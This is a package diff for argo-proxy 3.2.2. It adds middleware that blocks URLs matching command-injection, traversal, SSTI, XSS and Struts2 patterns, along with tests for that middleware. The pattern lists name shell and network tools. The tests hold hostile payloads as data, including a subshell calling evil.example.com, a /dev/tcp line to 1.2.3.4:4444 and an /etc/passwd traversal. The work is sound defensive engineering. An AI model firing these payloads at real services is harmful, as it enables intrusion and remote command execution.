argo-proxy 3.2.1__tar.gz → 3.2.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {argo_proxy-3.2.1/src/argo_proxy.egg-info → argo_proxy-3.2.2}/PKG-INFO +1 -1
- {argo_proxy-3.2.1 → argo_proxy-3.2.2/src/argo_proxy.egg-info}/PKG-INFO +1 -1
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/SOURCES.txt +1 -0
- argo_proxy-3.2.2/src/argoproxy/__init__.py +1 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/app.py +5 -1
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/endpoints/dispatch.py +2 -4
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/endpoints/passthrough.py +4 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/models.py +2 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/attack_logger.py +157 -2
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/misc.py +10 -0
- argo_proxy-3.2.2/tests/test_security_middleware.py +161 -0
- argo_proxy-3.2.1/src/argoproxy/__init__.py +0 -1
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/LICENSE +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/README.md +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/pyproject.toml +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/setup.cfg +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/dependency_links.txt +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/entry_points.txt +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/requires.txt +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/top_level.txt +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/_vendor/__init__.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/_vendor/semver.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/_vendor/yaml.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/cli/__init__.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/cli/display.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/cli/handlers.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/cli/parser.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/config/__init__.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/config/interactive.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/config/io.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/config/model.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/config/validation.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/endpoints/dev_proxy.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/endpoints/extras.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/performance.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/py.typed +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/image_processing.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/logging.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/models.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/transports.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_chat_completions.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_embeddings.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_function_calling_multiple.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_function_calling_single.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_leaked_tool_parser.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/test/test_model_resolution.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/tests/test_config_migrate.py +0 -0
- {argo_proxy-3.2.1 → argo_proxy-3.2.2}/tests/test_unix_socket.py +0 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
__version__ = "3.2.2"
|
|
@@ -19,6 +19,7 @@ from .performance import (
|
|
|
19
19
|
OptimizedHTTPSession,
|
|
20
20
|
get_performance_config,
|
|
21
21
|
)
|
|
22
|
+
from .utils.attack_logger import security_middleware
|
|
22
23
|
from .utils.logging import log_debug, log_error, log_info, log_warning
|
|
23
24
|
|
|
24
25
|
|
|
@@ -320,7 +321,10 @@ def create_app():
|
|
|
320
321
|
# Set client_max_size to 100MB to handle large image payloads from remote clients
|
|
321
322
|
# Users may send images larger than the gateway's 20MB limit; argo-proxy will
|
|
322
323
|
# compress them before forwarding. Default aiohttp limit is 1MB which is too small.
|
|
323
|
-
app = web.Application(
|
|
324
|
+
app = web.Application(
|
|
325
|
+
client_max_size=100 * 1024 * 1024,
|
|
326
|
+
middlewares=[security_middleware],
|
|
327
|
+
)
|
|
324
328
|
app.on_startup.append(prepare_app)
|
|
325
329
|
app.on_shutdown.append(cleanup_app)
|
|
326
330
|
|
|
@@ -27,6 +27,7 @@ from llm_rosetta.shims.providers import load_providers
|
|
|
27
27
|
from ..config import ArgoConfig
|
|
28
28
|
from ..models import ModelRegistry
|
|
29
29
|
from ..utils.image_processing import process_anthropic_images, process_openai_images
|
|
30
|
+
from ..utils.misc import build_user_agent
|
|
30
31
|
from ..utils.logging import (
|
|
31
32
|
clear_request_user,
|
|
32
33
|
log_converted_request,
|
|
@@ -288,10 +289,7 @@ def _build_upstream_headers(
|
|
|
288
289
|
"""Build HTTP headers for the upstream API request."""
|
|
289
290
|
headers: dict[str, str] = {"Content-Type": "application/json"}
|
|
290
291
|
|
|
291
|
-
|
|
292
|
-
client_ua = request.headers.get("User-Agent")
|
|
293
|
-
if client_ua:
|
|
294
|
-
headers["User-Agent"] = client_ua
|
|
292
|
+
headers["User-Agent"] = build_user_agent(request.headers.get("User-Agent"))
|
|
295
293
|
|
|
296
294
|
if should_use_username_passthrough():
|
|
297
295
|
api_key = _extract_client_credential(request, target_provider) or fallback_user
|
|
@@ -13,6 +13,7 @@ from aiohttp import web
|
|
|
13
13
|
|
|
14
14
|
from ..config import ArgoConfig
|
|
15
15
|
from ..models import ModelRegistry
|
|
16
|
+
from ..utils.misc import build_user_agent
|
|
16
17
|
from ..utils.logging import (
|
|
17
18
|
log_converted_request,
|
|
18
19
|
log_debug,
|
|
@@ -67,6 +68,9 @@ async def proxy_embeddings_request(
|
|
|
67
68
|
upstream_url = f"{config.native_openai_base_url}/embeddings"
|
|
68
69
|
|
|
69
70
|
headers = {"Content-Type": "application/json"}
|
|
71
|
+
|
|
72
|
+
headers["User-Agent"] = build_user_agent(request.headers.get("User-Agent"))
|
|
73
|
+
|
|
70
74
|
if "Authorization" in request.headers:
|
|
71
75
|
headers["Authorization"] = request.headers["Authorization"]
|
|
72
76
|
|
|
@@ -13,6 +13,7 @@ from tqdm.asyncio import tqdm_asyncio
|
|
|
13
13
|
|
|
14
14
|
from .config import ArgoConfig, _get_yes_no_input_with_timeout
|
|
15
15
|
from .utils.logging import log_debug, log_error, log_info, log_warning
|
|
16
|
+
from .utils.misc import build_user_agent
|
|
16
17
|
from .utils.transports import validate_api_async
|
|
17
18
|
|
|
18
19
|
DEFAULT_TIMEOUT = 30
|
|
@@ -309,6 +310,7 @@ async def get_upstream_model_list_async(
|
|
|
309
310
|
async with aiohttp.ClientSession(
|
|
310
311
|
connector=connector,
|
|
311
312
|
timeout=client_timeout,
|
|
313
|
+
headers={"User-Agent": build_user_agent()},
|
|
312
314
|
) as session:
|
|
313
315
|
log_debug(f"Sending request to: {url}", context="models")
|
|
314
316
|
|
|
@@ -4,6 +4,7 @@ This module provides functionality to:
|
|
|
4
4
|
1. Log attack attempts with concise warning messages
|
|
5
5
|
2. Save detailed attack information to files for analysis
|
|
6
6
|
3. Organize logs by date in a dedicated directory
|
|
7
|
+
4. Block malicious requests at the application level via middleware
|
|
7
8
|
"""
|
|
8
9
|
|
|
9
10
|
import gzip
|
|
@@ -13,6 +14,9 @@ import traceback
|
|
|
13
14
|
from datetime import datetime
|
|
14
15
|
from pathlib import Path
|
|
15
16
|
from typing import Any
|
|
17
|
+
from urllib.parse import unquote
|
|
18
|
+
|
|
19
|
+
from aiohttp import web
|
|
16
20
|
|
|
17
21
|
from .logging import log_warning
|
|
18
22
|
|
|
@@ -31,7 +35,11 @@ class AttackLogger:
|
|
|
31
35
|
enabled: Whether attack logging is enabled.
|
|
32
36
|
"""
|
|
33
37
|
|
|
34
|
-
#
|
|
38
|
+
# Broadest pattern set — used to classify attack type from raw request data.
|
|
39
|
+
# Includes generic terms (nslookup, curl, wget) that would false-positive in
|
|
40
|
+
# URL matching but are fine for post-hoc classification of parser-rejected requests.
|
|
41
|
+
# See also: AttackFilter.ATTACK_PATTERNS (log filter) and _REQUEST_ATTACK_PATTERNS
|
|
42
|
+
# (middleware) — each has a narrower scope suited to its context.
|
|
35
43
|
ATTACK_TYPES = {
|
|
36
44
|
"struts2_ognl": [
|
|
37
45
|
"xwork.MethodAccessor.denyMethodExecution",
|
|
@@ -66,6 +74,19 @@ class AttackLogger:
|
|
|
66
74
|
"onerror=",
|
|
67
75
|
"onload=",
|
|
68
76
|
],
|
|
77
|
+
"command_injection": [
|
|
78
|
+
"$(",
|
|
79
|
+
"/bin/bash",
|
|
80
|
+
"/bin/sh",
|
|
81
|
+
"/bin/zsh",
|
|
82
|
+
"cmd.exe",
|
|
83
|
+
"powershell",
|
|
84
|
+
"/dev/tcp/",
|
|
85
|
+
"/dev/udp/",
|
|
86
|
+
"nslookup ",
|
|
87
|
+
"curl ",
|
|
88
|
+
"wget ",
|
|
89
|
+
],
|
|
69
90
|
}
|
|
70
91
|
|
|
71
92
|
def __init__(self, config_path: Path | None = None):
|
|
@@ -205,7 +226,10 @@ class AttackFilter(logging.Filter):
|
|
|
205
226
|
"http_exceptions",
|
|
206
227
|
]
|
|
207
228
|
|
|
208
|
-
#
|
|
229
|
+
# Subset of patterns matched against aiohttp parser exception text.
|
|
230
|
+
# Narrower than ATTACK_TYPES — only patterns that actually appear in parser
|
|
231
|
+
# error messages. See also: ATTACK_TYPES (classifier) and
|
|
232
|
+
# _REQUEST_ATTACK_PATTERNS (middleware).
|
|
209
233
|
ATTACK_PATTERNS = [
|
|
210
234
|
# Struts2 OGNL
|
|
211
235
|
"xwork.MethodAccessor",
|
|
@@ -219,6 +243,12 @@ class AttackFilter(logging.Filter):
|
|
|
219
243
|
"${{",
|
|
220
244
|
"${#",
|
|
221
245
|
"%24%7B",
|
|
246
|
+
# Command injection
|
|
247
|
+
"$(",
|
|
248
|
+
"/bin/bash",
|
|
249
|
+
"/bin/sh",
|
|
250
|
+
"/dev/tcp/",
|
|
251
|
+
"/dev/udp/",
|
|
222
252
|
]
|
|
223
253
|
|
|
224
254
|
def __init__(self, attack_logger: AttackLogger):
|
|
@@ -306,6 +336,131 @@ class AttackFilter(logging.Filter):
|
|
|
306
336
|
return "unknown"
|
|
307
337
|
|
|
308
338
|
|
|
339
|
+
# ---------------------------------------------------------------------------
|
|
340
|
+
# Request-level security middleware
|
|
341
|
+
# ---------------------------------------------------------------------------
|
|
342
|
+
|
|
343
|
+
# Strictest pattern set — checked against URL-decoded path + query string on
|
|
344
|
+
# every inbound request. Only high-confidence indicators that are unlikely to
|
|
345
|
+
# appear in legitimate LLM API URLs. All patterns must be lowercase (the URL
|
|
346
|
+
# is lowercased before matching). See also: ATTACK_TYPES (classifier) and
|
|
347
|
+
# AttackFilter.ATTACK_PATTERNS (log filter) for the broader lists.
|
|
348
|
+
_REQUEST_ATTACK_PATTERNS: dict[str, list[str]] = {
|
|
349
|
+
"command_injection": [
|
|
350
|
+
"$(", # bash subshell: $(cmd)
|
|
351
|
+
# Backtick command substitution — most aggressive single-char pattern.
|
|
352
|
+
# Extremely rare in legitimate LLM API URLs; check here first on false positives.
|
|
353
|
+
"`",
|
|
354
|
+
"/bin/bash",
|
|
355
|
+
"/bin/sh",
|
|
356
|
+
"/bin/zsh",
|
|
357
|
+
"cmd.exe",
|
|
358
|
+
"powershell",
|
|
359
|
+
"/dev/tcp/",
|
|
360
|
+
"/dev/udp/",
|
|
361
|
+
# nslookup/curl/wget are in ATTACK_TYPES for classification but intentionally
|
|
362
|
+
# excluded here — too generic for URL matching and would cause false positives.
|
|
363
|
+
],
|
|
364
|
+
"struts2_ognl": [
|
|
365
|
+
"xwork.methodaccessor",
|
|
366
|
+
"_memberaccess",
|
|
367
|
+
"allowstaticmethodaccess",
|
|
368
|
+
"java.lang.runtime",
|
|
369
|
+
"org.apache.struts2",
|
|
370
|
+
],
|
|
371
|
+
"directory_traversal": [
|
|
372
|
+
"././././",
|
|
373
|
+
"../../../", # requires 3+ levels to avoid false positives on relative paths
|
|
374
|
+
],
|
|
375
|
+
"ssti_probe": [
|
|
376
|
+
"${{",
|
|
377
|
+
"${#",
|
|
378
|
+
],
|
|
379
|
+
"xss_probe": [
|
|
380
|
+
"<script>",
|
|
381
|
+
"javascript:",
|
|
382
|
+
],
|
|
383
|
+
}
|
|
384
|
+
|
|
385
|
+
|
|
386
|
+
def _decode_url(raw: str) -> str:
|
|
387
|
+
"""URL-decode a string, applying up to 2 rounds to catch double-encoding.
|
|
388
|
+
|
|
389
|
+
Args:
|
|
390
|
+
raw: Raw URL string.
|
|
391
|
+
|
|
392
|
+
Returns:
|
|
393
|
+
Decoded string.
|
|
394
|
+
"""
|
|
395
|
+
# Two passes to catch double-encoded payloads like %2524%2528 -> %24%28 -> $(
|
|
396
|
+
return unquote(unquote(raw))
|
|
397
|
+
|
|
398
|
+
|
|
399
|
+
def _detect_request_attack(url_decoded: str) -> str | None:
|
|
400
|
+
"""Check a decoded URL string against request-level attack patterns.
|
|
401
|
+
|
|
402
|
+
Args:
|
|
403
|
+
url_decoded: URL-decoded path + query string.
|
|
404
|
+
|
|
405
|
+
Returns:
|
|
406
|
+
Attack type string if matched, None otherwise.
|
|
407
|
+
"""
|
|
408
|
+
url_lower = url_decoded.lower()
|
|
409
|
+
# Patterns are lowercase literals — no need to call .lower() on them.
|
|
410
|
+
for attack_type, patterns in _REQUEST_ATTACK_PATTERNS.items():
|
|
411
|
+
for pattern in patterns:
|
|
412
|
+
if pattern in url_lower:
|
|
413
|
+
return attack_type
|
|
414
|
+
return None
|
|
415
|
+
|
|
416
|
+
|
|
417
|
+
@web.middleware
|
|
418
|
+
async def security_middleware(
|
|
419
|
+
request: web.Request,
|
|
420
|
+
handler,
|
|
421
|
+
) -> web.StreamResponse:
|
|
422
|
+
"""Application-level middleware that blocks requests with malicious payloads.
|
|
423
|
+
|
|
424
|
+
This complements the AttackFilter (which catches parser-level errors) by
|
|
425
|
+
inspecting syntactically valid HTTP requests before they reach handlers.
|
|
426
|
+
The URL path and query string are URL-decoded before pattern matching.
|
|
427
|
+
|
|
428
|
+
Args:
|
|
429
|
+
request: The incoming aiohttp request.
|
|
430
|
+
handler: The next handler in the middleware chain.
|
|
431
|
+
|
|
432
|
+
Returns:
|
|
433
|
+
A 403 response if an attack is detected, otherwise the handler response.
|
|
434
|
+
"""
|
|
435
|
+
# Decode and inspect path + query string
|
|
436
|
+
raw_url = request.path_qs
|
|
437
|
+
decoded_url = _decode_url(raw_url)
|
|
438
|
+
attack_type = _detect_request_attack(decoded_url)
|
|
439
|
+
|
|
440
|
+
if attack_type is not None:
|
|
441
|
+
# Extract remote IP
|
|
442
|
+
peername = (
|
|
443
|
+
request.transport.get_extra_info("peername") if request.transport else None
|
|
444
|
+
)
|
|
445
|
+
remote_ip = peername[0] if peername else request.remote or "unknown"
|
|
446
|
+
|
|
447
|
+
# Log via AttackLogger
|
|
448
|
+
attack_logger = get_attack_logger()
|
|
449
|
+
attack_logger.log_attack(
|
|
450
|
+
remote_ip=remote_ip,
|
|
451
|
+
raw_request=f"{request.method} {raw_url}",
|
|
452
|
+
error_type="blocked_by_middleware",
|
|
453
|
+
error_message=f"Request blocked: {attack_type} pattern in URL",
|
|
454
|
+
)
|
|
455
|
+
|
|
456
|
+
return web.json_response(
|
|
457
|
+
{"error": "Forbidden"},
|
|
458
|
+
status=403,
|
|
459
|
+
)
|
|
460
|
+
|
|
461
|
+
return await handler(request)
|
|
462
|
+
|
|
463
|
+
|
|
309
464
|
# Global attack logger instance
|
|
310
465
|
_attack_logger: AttackLogger | None = None
|
|
311
466
|
|
|
@@ -224,3 +224,13 @@ def check_response_for_argo_warning(
|
|
|
224
224
|
"""
|
|
225
225
|
text = extract_text_from_response(response_data, provider)
|
|
226
226
|
return contains_argo_auth_warning(text)
|
|
227
|
+
|
|
228
|
+
|
|
229
|
+
def build_user_agent(client_ua: str | None = None) -> str:
|
|
230
|
+
"""Build a User-Agent string identifying argo-proxy, optionally appended to a client UA."""
|
|
231
|
+
from .. import __version__
|
|
232
|
+
|
|
233
|
+
proxy_ua = f"argo-proxy/{__version__}"
|
|
234
|
+
if client_ua:
|
|
235
|
+
return f"{client_ua} {proxy_ua}"
|
|
236
|
+
return proxy_ua
|
|
@@ -0,0 +1,161 @@
|
|
|
1
|
+
"""Tests for the request-level security middleware.
|
|
2
|
+
|
|
3
|
+
Verifies that malicious payloads in URLs are blocked before reaching handlers,
|
|
4
|
+
while legitimate requests pass through.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from aiohttp import web
|
|
8
|
+
from aiohttp.test_utils import AioHTTPTestCase
|
|
9
|
+
|
|
10
|
+
from argoproxy.utils.attack_logger import security_middleware
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
async def _ok_handler(request: web.Request) -> web.Response:
|
|
14
|
+
"""Simple handler that returns 200 OK."""
|
|
15
|
+
return web.json_response({"status": "ok"})
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
def _create_test_app() -> web.Application:
|
|
19
|
+
"""Create a minimal app with security middleware and a catch-all route."""
|
|
20
|
+
app = web.Application(middlewares=[security_middleware])
|
|
21
|
+
app.router.add_route("*", "/{path:.*}", _ok_handler)
|
|
22
|
+
return app
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
# ---------------------------------------------------------------------------
|
|
26
|
+
# Legitimate requests — should pass through (200)
|
|
27
|
+
# ---------------------------------------------------------------------------
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
class TestLegitimateRequests(AioHTTPTestCase):
|
|
31
|
+
"""Ensure normal API traffic is not blocked."""
|
|
32
|
+
|
|
33
|
+
async def get_application(self):
|
|
34
|
+
return _create_test_app()
|
|
35
|
+
|
|
36
|
+
async def test_normal_api_path(self):
|
|
37
|
+
resp = await self.client.get("/api/v1/models")
|
|
38
|
+
assert resp.status == 200
|
|
39
|
+
|
|
40
|
+
async def test_normal_query_params(self):
|
|
41
|
+
resp = await self.client.get("/api/chat?model=gpt-4&stream=true")
|
|
42
|
+
assert resp.status == 200
|
|
43
|
+
|
|
44
|
+
async def test_json_post(self):
|
|
45
|
+
resp = await self.client.post(
|
|
46
|
+
"/v1/chat/completions",
|
|
47
|
+
json={"model": "gpt-4", "messages": [{"role": "user", "content": "hello"}]},
|
|
48
|
+
)
|
|
49
|
+
assert resp.status == 200
|
|
50
|
+
|
|
51
|
+
async def test_health_check(self):
|
|
52
|
+
resp = await self.client.get("/health")
|
|
53
|
+
assert resp.status == 200
|
|
54
|
+
|
|
55
|
+
async def test_well_known(self):
|
|
56
|
+
resp = await self.client.get("/.well-known/jwks.json")
|
|
57
|
+
assert resp.status == 200
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
# ---------------------------------------------------------------------------
|
|
61
|
+
# Command injection — should be blocked (403)
|
|
62
|
+
# ---------------------------------------------------------------------------
|
|
63
|
+
|
|
64
|
+
|
|
65
|
+
class TestCommandInjection(AioHTTPTestCase):
|
|
66
|
+
"""Verify command injection payloads are blocked."""
|
|
67
|
+
|
|
68
|
+
async def get_application(self):
|
|
69
|
+
return _create_test_app()
|
|
70
|
+
|
|
71
|
+
async def test_subshell_in_query(self):
|
|
72
|
+
"""The exact payload from the Nessus scan."""
|
|
73
|
+
resp = await self.client.get(
|
|
74
|
+
'/api/getServices?name[]=$(/bin/bash -c "nslookup evil.example.com")'
|
|
75
|
+
)
|
|
76
|
+
assert resp.status == 403
|
|
77
|
+
|
|
78
|
+
async def test_bash_devtcp_in_query(self):
|
|
79
|
+
"""Reverse shell via /dev/tcp."""
|
|
80
|
+
resp = await self.client.get(
|
|
81
|
+
'/api/getServices?name[]=$(bash -c "echo pwned >/dev/tcp/1.2.3.4/4444")'
|
|
82
|
+
)
|
|
83
|
+
assert resp.status == 403
|
|
84
|
+
|
|
85
|
+
async def test_backtick_injection(self):
|
|
86
|
+
resp = await self.client.get("/api/search?q=`id`")
|
|
87
|
+
assert resp.status == 403
|
|
88
|
+
|
|
89
|
+
async def test_url_encoded_subshell(self):
|
|
90
|
+
"""URL-encoded $( should be decoded and caught."""
|
|
91
|
+
resp = await self.client.get("/api/search?q=%24%28id%29")
|
|
92
|
+
assert resp.status == 403
|
|
93
|
+
|
|
94
|
+
async def test_double_encoded_subshell(self):
|
|
95
|
+
"""Double URL-encoded $( should still be caught."""
|
|
96
|
+
resp = await self.client.get("/api/search?q=%2524%2528id%2529")
|
|
97
|
+
assert resp.status == 403
|
|
98
|
+
|
|
99
|
+
async def test_bin_sh_in_query(self):
|
|
100
|
+
resp = await self.client.get("/api/run?cmd=/bin/sh+-c+id")
|
|
101
|
+
assert resp.status == 403
|
|
102
|
+
|
|
103
|
+
async def test_powershell_in_query(self):
|
|
104
|
+
resp = await self.client.get("/api/run?cmd=powershell+-enc+base64payload")
|
|
105
|
+
assert resp.status == 403
|
|
106
|
+
|
|
107
|
+
async def test_cmd_exe_in_query(self):
|
|
108
|
+
resp = await self.client.get("/api/run?cmd=cmd.exe+/c+dir")
|
|
109
|
+
assert resp.status == 403
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
# ---------------------------------------------------------------------------
|
|
113
|
+
# Other attack types — should be blocked (403)
|
|
114
|
+
# ---------------------------------------------------------------------------
|
|
115
|
+
|
|
116
|
+
|
|
117
|
+
class TestOtherAttackTypes(AioHTTPTestCase):
|
|
118
|
+
"""Verify other attack patterns are blocked at request level."""
|
|
119
|
+
|
|
120
|
+
async def get_application(self):
|
|
121
|
+
return _create_test_app()
|
|
122
|
+
|
|
123
|
+
async def test_directory_traversal_in_query(self):
|
|
124
|
+
resp = await self.client.get("/api/file?path=../../../etc/passwd")
|
|
125
|
+
assert resp.status == 403
|
|
126
|
+
|
|
127
|
+
async def test_struts2_ognl(self):
|
|
128
|
+
resp = await self.client.get(
|
|
129
|
+
"/api?class.module.classLoader.URLs%5B0%5D=java.lang.Runtime"
|
|
130
|
+
)
|
|
131
|
+
assert resp.status == 403
|
|
132
|
+
|
|
133
|
+
async def test_ssti_probe(self):
|
|
134
|
+
resp = await self.client.get("/api/search?q=${{7*7}}")
|
|
135
|
+
assert resp.status == 403
|
|
136
|
+
|
|
137
|
+
async def test_xss_script_tag(self):
|
|
138
|
+
resp = await self.client.get("/api/search?q=<script>alert(1)</script>")
|
|
139
|
+
assert resp.status == 403
|
|
140
|
+
|
|
141
|
+
async def test_xss_javascript_proto(self):
|
|
142
|
+
resp = await self.client.get("/api/redirect?url=javascript:alert(1)")
|
|
143
|
+
assert resp.status == 403
|
|
144
|
+
|
|
145
|
+
|
|
146
|
+
# ---------------------------------------------------------------------------
|
|
147
|
+
# Response format
|
|
148
|
+
# ---------------------------------------------------------------------------
|
|
149
|
+
|
|
150
|
+
|
|
151
|
+
class TestResponseFormat(AioHTTPTestCase):
|
|
152
|
+
"""Verify the blocked response format."""
|
|
153
|
+
|
|
154
|
+
async def get_application(self):
|
|
155
|
+
return _create_test_app()
|
|
156
|
+
|
|
157
|
+
async def test_blocked_response_body(self):
|
|
158
|
+
resp = await self.client.get('/api/getServices?name[]=$(/bin/bash -c "whoami")')
|
|
159
|
+
assert resp.status == 403
|
|
160
|
+
body = await resp.json()
|
|
161
|
+
assert body == {"error": "Forbidden"}
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
__version__ = "3.2.1"
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|